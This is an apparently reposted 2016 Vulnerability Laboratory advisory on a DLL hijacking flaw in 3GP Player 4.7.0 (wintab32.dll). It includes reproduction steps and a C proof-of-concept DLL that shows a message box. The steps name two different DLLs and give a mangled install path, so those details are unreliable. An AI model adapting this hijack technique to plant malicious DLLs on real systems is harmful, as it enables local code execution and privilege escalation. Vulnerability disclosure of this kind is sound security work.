3GP Player 4.7.0 DLL Hijacking
Posted on 23 September 2016
Document Title: =============== 3GP Player 4.7.0 - DLL Hijacking Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=1955 Release Date: ============= 2016-09-23 Vulnerability Laboratory ID (VL-ID): ==================================== 1955 Common Vulnerability Scoring System: ==================================== 5.6 Product & Service Introduction: =============================== 3GP Player is a player specialized videos in 3GP format widely used by mobile phones. 3GP format and its variants (3GPP, 3GPP2, etc.) are used by many mobile phone manufacturers to store video. 3GP provides an easy way to play these videos on your PC. In use, 3GP Player disappoint with her too rudimentary interface. It offers only opening files and links to websites that host videos for mobile. (Copy of the Vendor Homepage: http://www.reganam.com/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a dll injection vulnerability in the official 3GP Player v4.7.0 software. Vulnerability Disclosure Timeline: ================================== 2016-09-23: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Reganam Interactive Product: 3GP Player - Software Client 4.7.0 Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A local dll injection vulnerability has been discovered in the official 3GP Player v4.7.0 software. The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges. Vulnerable Software: [+] 3GP Player Vulnerable Version(s): [+] v4.7.0 Vulnerable Libraries: [+] wintab32.dll Proof of Concept (PoC): ======================= The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the local vulnerability ... 1. Compile dll and rename to wintab32.dll 2. Copy Linkinfo.dll to C:Program Files3GPplayer20113GP-player.exe 3. Launch 3GP Player.exe 4. Now the test messagebox executes 5. Successful reproduce of the local vulnerability! PoC: Exploit #include <windows.h> #define DllExport __declspec (dllexport) BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { dll_hijack(); return 0; } int dll_hijack() { MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK); return 0; } Security Risk: ============== The security risk of the dll inject web vulnerability in the vulnerable software library is estimated as medium. (CVSS 5.6) Credits & Authors: ================== ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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